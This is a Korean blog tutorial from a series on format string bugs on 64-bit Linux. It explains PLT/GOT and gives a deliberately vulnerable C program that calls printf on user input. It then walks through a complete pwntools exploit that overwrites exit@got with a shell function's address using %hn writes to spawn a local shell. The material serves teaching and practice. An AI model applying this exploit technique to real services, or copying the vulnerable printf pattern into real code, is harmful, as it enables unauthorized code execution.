System Hacking/FSB(Format String Bug)

64bit에서 FSB (Format String Bug) 이해하기 -(2)

jir4vvit 2021. 4. 21. 21:13

참고자료 : JSec님 블로그(blog.naver.com/yjw_sz/221889244689)
64bit FSB 시리즈 : 64bit에서 FSB (Format String Bug) 이해하기 -(1)
32bit FSB 시리즈 : 32bit에서 FSB (Format String Bug) 이해하기 -(1),(2),(3)

 

지난번에 간단하게.. fSB 취약점을 이용하여 변수의 값을 바꿔보았다.

오늘은 shell함수가 등장한다..

 

(1)을 보지 않았으면 (1)부터 꼭 보고 (2)번 글을 읽길 바랍니당.


PLT와 GOT

  • PLT : 외부 라이브러리 함수를 사용할 수 있도록 주소를 연결해주는 역할을 하는 테이블
  • GOT : PLT에서 호출하는 resolve 함수를 통해 구한 라이브러리 함수의 절대 주소가 저장되어 있는 테이블
  • PLT는 코드이고 GOT는 주소값이 저장된 공간이다.
  • 함수를 호출하면 PLT 코드가 실행이 되고, PLT 코드는 GOT에 적힌 주소로 이동한다.
  • A함수의 GOT를 B함수의 주소로 덮어씌우면, A함수를 호출할 때 실제로 (A가 아닌) B함수가 호출된다.
  • 메모리 보호 기법 중 RELRO가 FULL이 아닌 경우 가능

자세한건 아래 링크 클릭~!

jiravvit.tistory.com/entry/PLT%EC%99%80-GOT?category=812680

 

예제 2

// fsb_got.c
// gcc -o fsb_got64 fsb_got.c -no-pie
#include <stdio.h>

void shell(void) {
	system("/bin/sh");
}

int main(void) {
	char buf[0x100];
	read(0, buf, 0x100);
	printf(buf);		// fSB trigger!
	exit(0);
}

shell 함수를 실행시키는 것(exploit)이 목표이다.

printf 함수에서 포맷스트링을 사용하지 않으니 FSB가 trigger될 수 있다.

 

다시.. 목표를 이야기해보자면... 

exit@got는 0x601030이다.

저 주소로 접근해서 0x4004d6을 shell함수의 주소인 0x4005c7로 덮는 것이 목표이다.

 

%p를 이용해 레지스터 및 스택 구조를 살펴보고, offset을 구해보자.

offset은 6이다.

 

 

exploit 코드를 보며 이야기를 해보자.

from pwn import *

p = process('./fsb_got64')
e = ELF('./fsb_got64')

shell = e.symbols['shell']
exit_got = e.got['exit']

# shell = 0x4005c7
# exit@got = 0x601030

shell_low = shell & 0xffff          # 0x5c7
shell_high = (shell >> 16) & 0xffff # 0x40

# offset 6
payload = ''
payload += '%{}c'.format(shell_high)
payload += '%9$hn'
payload += '%{}c'.format(shell_low - shell_high)
payload += '%10$hn'
payload += 'AAA'
payload += p64(exit_got + 2)
payload += p64(exit_got)
# len(payload) = 40

#pause()
p.send(payload)

p.interactive()

'%[숫자]$hn' 을 이용하여 2바이트씩 써주고 있다.

한번에 값을 다 넣어주지 않고 나누어서 넣어주는 이유는 한번에 쓰는게 더 오래걸려서 그렇다. (32bit에서 언급했었음)

 

FSB 취약점을 이용하여 원하는 주소에 원하는 값을 쓸 수 있다. (got overwriting)

원하는 주소 = exit@got

원하는 값 = shell

exit@got을 shell함수로 덮는다면, exit@got을 실행했을 때 shell함수가 실행되게 될 것이다.

 

위에서 offset이 6이라고 구해놨는데 갑자기 9,10이 되어버린 것도 저번시간에 한 거랑 똑같다.

%n을 이용하여 적은 입력할 페이로드 길이가 8의 배수여야 한다. 왜냐하면 그래야 8byte씩 입력하는 64bit체제에서 입력을 할 때, 딱딱 맞춰서 들어가니깐..

그래서 A를 3개 추가해주었다.

 

'%{}c'.format(shell_low - shell_high) 에서 shell_low - shell_high 해 준 이유?

간단하다. %n은 앞의 바이트 길이 만큼 입력을 한다. 지금 여기엔 shell_low만큼 들어가야하는데 만약 - shell_high를 안해주고 shell_low만 적게 된다면, 

shell_high + shell_low 만큼의 바이트 길이가 exit_got에 들어가게 된다. 

shell_high + shell_low - shell_high = shell_low 

그래서 shell_high를 빼주는 것

 


익스 코드 실행 결과

여기서 딱 got overwriting을 한다.

 

exit@got가 shell함수의 주소로 잘 덮힌 것을 확인할 수 있다.

 

 

로컬에서 쉘따기 성공 ~ 

 

 


이제 우리는 64bit에서 FSB가 발생하면 got overwriting을 할 수 있게 되었습니다 짝짝짝다음시간에는 shell함수가 없을 때 어떻게 익스할 수 있는 지 살펴보자.